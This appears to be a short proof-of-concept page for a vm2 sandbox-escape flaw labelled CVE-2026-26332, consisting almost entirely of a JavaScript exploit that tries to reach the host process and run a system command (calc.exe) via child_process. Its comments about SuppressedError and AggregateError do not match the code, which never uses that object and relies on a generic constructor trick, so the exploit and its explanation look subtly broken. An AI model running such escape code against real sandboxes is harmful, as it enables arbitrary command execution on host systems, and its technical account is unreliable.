CVE-2026-26332 vm2沙箱逃逸漏洞

const {VM} = require('vm2'); // Initialize the vm2 sandbox const vm = new VM(); // Malicious code exploiting SuppressedError to escape the sandbox const maliciousCode = ` try { // Create an error that will be suppressed const error1 = new Error('First Error'); const error2 = new Error('Suppressed Error'); // AggregateError contains a .errors array which includes suppressed errors // vm2 prior to 3.11.0 fails to sanitize the references in this mechanism properly const aggregate = new AggregateError([error1], 'Aggregate Error', { cause: error2 }); // Conceptual exploitation path: // Accessing internal host objects through the error object's prototype chain // to break out of the sandbox context. const hostProcess = this.constructor.constructor('return process')(); hostProcess.mainModule.require('child_process').execSync('calc.exe'); } catch(e) { // If direct escape fails, try to leak information via the error object e.stack; } `; console.log('Running exploit...'); vm.run(maliciousCode); console.log('Exploit finished.');